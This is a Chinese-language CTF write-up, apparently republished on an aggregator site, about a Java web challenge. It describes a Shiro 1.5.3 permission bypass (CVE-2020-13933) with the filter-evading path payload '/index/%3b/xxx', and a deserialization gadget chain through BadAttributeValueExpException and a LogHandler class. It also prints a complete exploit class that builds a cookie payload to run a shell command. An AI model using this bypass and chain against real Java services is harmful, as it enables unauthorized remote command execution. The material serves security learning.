千家信息网

什么是Java反序列化漏洞

发表于:2024-10-07 作者:千家信息网编辑
千家信息网最后更新 2024年10月07日,这篇文章主要介绍"什么是Java反序列化漏洞",在日常操作中,相信很多人在什么是Java反序列化漏洞问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答"什么是Java反序列化
千家信息网最后更新 2024年10月07日什么是Java反序列化漏洞

这篇文章主要介绍"什么是Java反序列化漏洞",在日常操作中,相信很多人在什么是Java反序列化漏洞问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答"什么是Java反序列化漏洞"的疑惑有所帮助!接下来,请跟着小编一起来学习吧!

0x00 前言

近年来,工作中Java Web的项目越来越常见,并且逐渐取代了前几年php的辉煌地位。

在众多Java Web漏洞中,反序列化漏洞独树一帜,大量框架或者中间件都存在反序列化漏洞,它们被大佬们钟爱,并且翻过来覆过去的反复蹂躏,,例如:ShiroFastjsonJBossWebLogicStructs2等等。

本文基于一次内部小范围比赛题目的复现,简单聊聊Java代码审计中的反序列化漏洞,以及其他漏洞的组合利用。由于学习门槛降低,各大学习论坛或网站上存在大量优秀的Java反序列化的入门文章,里面对Java的基本概念以及反序列化的基础有着详细的描述和讲解。本文不再赘述Java反序列化中的简单概念,仅从题目本身入手。

0x01 正文

题目本身是Web题目,并且提供了源码。

打开页面,登录窗口。

页面仅有一个登录窗口,尝试一波弱口令,无结果。

然后去看代码,jar包导入JD-GUI,随便点点。

大致文件结构如下:

其中ShiroConfig.class内容如下:

简单审计发现,index内容需要认证,也就是需要登录。

查看index对应的IndexController.class,发现存在反序列化点。

具体代码如下:

if (cookies != null) {      for (Cookie c : cookies) {        if (c.getName().equals("userinfo")) {          exist = true;          cookie = c;          break;        }       }     }    if (exist) {      byte[] bytes = Tools.base64Decode(cookie.getValue());      user = (User)Tools.deserialize(bytes);    } else {      user = new User();      user.setId(1);      user.setName(name);      cookie = new Cookie("userinfo", Tools.base64Encode(Tools.serialize(user)));      response.addCookie(cookie);    }

当访问index时,并且存在cookiekeyuserinfo时,会对其value进行deserialize

过程如下:

cookie[userinfo] --> base64decode --> deserialize

暂时思路是,登录之后,通过cookie进行反序列化。

但是由MyRealm.class可知,密码是随机的。

具体代码如下:

return new SimpleAuthenticationInfo(username, UUID.randomUUID().toString().replaceAll("-", ""), getName());

再由lib中的BOOT-INF.lib.shiro-spring-1.5.3.jar可知,shiro版本为 1.5.3 ,存在CVE-2020-13933权限绕过漏洞。

根据 https://xz.aliyun.com/t/8230 可知,常用payload/index/%3bxxx

但存在过滤器AllFilter.class

public class AllFilter implements IAllFilter {  public String filter(String param) {    String[] keyWord = { "'", "\"", "select", "union", "/;", "/%3b" };    for (String i : keyWord) {      param = param.replaceAll(i, "");    }    return param;  }}

AllFilter会对payload的字符进行过滤,经过尝试,最终有效payload/index/%3b/xxx

绕过权限之后,发现后台为日志记录。

涉及到LogHandler.class,在之后的后续反序列化会用到。

绕过权限之后,想办法反序列化。

要序列化的条件是,必须继承Java.io.Serializable接口。

在代码中寻找可被利用的class

发现LogHandler.class

其中存在命令执行点

public class LogHandler extends HashSet implements InvocationHandler {  private static final long serialVersionUID = 1L;  private String readLog = "tail /tmp/accessLog"; private Object target;  private String writeLog = "echo /test >> /tmp/accessLog";    public LogHandler() {}  public LogHandler(Object target) { this.target = target; }    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {    Tools.exeCmd(this.writeLog.replaceAll("/test", (String)args[0]));    return method.invoke(this.target, args);  }  public String toString() { return Tools.exeCmd(this.readLog); }}

LogHandler继承了HashSet

HashSet继承了Java.io.Serializable接口。

HashSet部分代码如下:

package Java.util;import Java.io.InvalidObjectException;import sun.misc.SharedSecrets;public class HashSetextends AbstractSetimplements Set, Cloneable, Java.io.Serializable{    static final long serialVersionUID = -5024744406713321676L;    ......

之后的pop链为:

deserialize --> LogHandler --> toString --> exeCmd (readLog)

条件:readLog可控 。

readLog为私有属性,可通过Java的反射机制访问属性值。

方法说明
getDeclaredField(String name)获得某个属性对

例如:

import Java.lang.reflect.*;public class AccessAttribute {    public static void main(String[] args) throws Exception {                Field aaa= UserClass.getDeclaredField("name");        aaa.setAccessible(true);//私有属性,设置可访问        aaa.set(user, "liuxigua");    }}

最终目的:寻找某个Java原生类,要求:重写readObject方法并且可调用可控类的toString方法。

最后百度查到BadAttributeValueExpException,并且很多Java反序列化的Gadgets均用到了此类

BadAttributeValueExpException部分代码如下:

public class BadAttributeValueExpException extends Exception   {    private static final long serialVersionUID = -3105272988410493376L;    private Object val;    public BadAttributeValueExpException (Object val) {        this.val = val == null ? null : val.toString();    }    public String toString()  {        return "BadAttributeValueException: " + val;    }    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {        ObjectInputStream.GetField gf = ois.readFields();        Object valObj = gf.get("val", null);        if (valObj == null) {            val = null;        } else if (valObj instanceof String) {            val= valObj;        } else if (System.getSecurityManager() == null                || valObj instanceof Long                || valObj instanceof Integer                || valObj instanceof Float                || valObj instanceof Double                || valObj instanceof Byte                || valObj instanceof Short                || valObj instanceof Boolean) {            val = valObj.toString();        } else {             val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();        }    } }

可通过将val设置为logHandler类,最终在readObject时调用其toString方法。

BadAttributeValueExpException (val)  -->  LogHandler(readLog).toString()  -->  serialize   -->  base64encode cookie[userinfo]  -->  base64decode  --> deserialize -->  LogHandler  -->  toString  -->  exeCmd (readLog)

最终Gadgets

Javax.management.BadAttributeValueExpException.readObject()-->tools.logHandler.toString()-->  tools.Tools.exeCmd()

注意:payload的代码结构与文件位置需要与服务端代码结构与文件位置保持一致

package com.test.JavaWeb;import Javax.management.BadAttributeValueExpException;import com.test.JavaWeb.tools.Tools;import com.test.JavaWeb.tools.LogHandler;import Java.lang.reflect.Field;public class Exp {    public static void main(String[] args) throws Exception{        LogHandler logHandler = new LogHandler();        Field readLogField = LogHandler.class.getDeclaredField("readLog");        readLogField.setAccessible(true);        readLogField.set(logHandler,"touch /tmp/123");        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("");        Field valField = BadAttributeValueExpException.class.getDeclaredField("val");        valField.setAccessible(true);        valField.set(badAttributeValueExpException,logHandler);        byte[] bytes = Tools.serialize(badAttributeValueExpException);        System.out.println(Tools.base64Encode(bytes));    }}

生成payload之后,在cookieuserinfo值填入,可执行命令。

到此,关于"什么是Java反序列化漏洞"的学习就结束了,希望能够解决大家的疑惑。理论与实践的搭配能更好的帮助大家学习,快去试试吧!若想继续学习更多相关知识,请继续关注网站,小编会继续努力为大家带来更多实用的文章!

0